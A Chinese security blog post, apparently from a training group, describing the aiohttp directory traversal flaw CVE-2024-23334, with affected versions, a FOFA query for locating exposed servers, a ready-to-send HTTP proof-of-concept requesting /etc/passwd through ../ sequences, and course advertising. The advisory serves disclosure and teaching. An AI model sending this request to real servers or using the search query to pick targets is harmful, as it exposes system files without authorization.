aiohttp存在目录遍历漏洞(CVE-2024-23334)

闻人语默 老鑫安全 2024-12-15 09:31

aiohttp是一个Python的HTTP客户端/服务器框架，它基于asyncio库实现异步编程模型，可以支持高性能和高并发的HTTP通信。aiohttp用于编写异步的Web服务器、Web应用程序或HTTP客户端，以提供对Web和HTTP资源的访问和操作。近日监测到aiohttp目录遍历漏洞的漏洞情报,aiohttp使用选项”follow_symlinks”来决定是否跟踪静态根目录之外的符号链接。当”follow_symlinks “设置为 “True “时,将不会验证读取的文件是否在根目录内从而导致目录遍历，攻击者可以利用此漏洞访问系统上的任意文件。

版本

1.0.5 <aiohttp < 3.9.2

fofa

app="aiohttp"

poc

GET /static/../../../../../../etc/passwd HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

大家伙，如果想学习更多的芝士，可以看我们的论坛：

https://www.laoxinsec.com/

哔哩哔哩有免费课程，搜索账号：老鑫安全培训，老鑫安全二进制

进群二维码：

老鑫：前Wooyun核心白帽子，痴迷底层技术，在二进制方向有一定技术积累，后从事网安培训多年，截止目前已培训350+学员，培训学员遍布各大安全企业及机关单位。除二进制，web安全、安全开发、逆向等安全技术均有涉及。公众号：studentSec  

濠哥：奇安信粤东安全运营中心技术专家（牛逼的老师不需要简介）

下面是关于我们的培训课程，如有需求，可以加入我们的微信群联系群主：

进阶课程：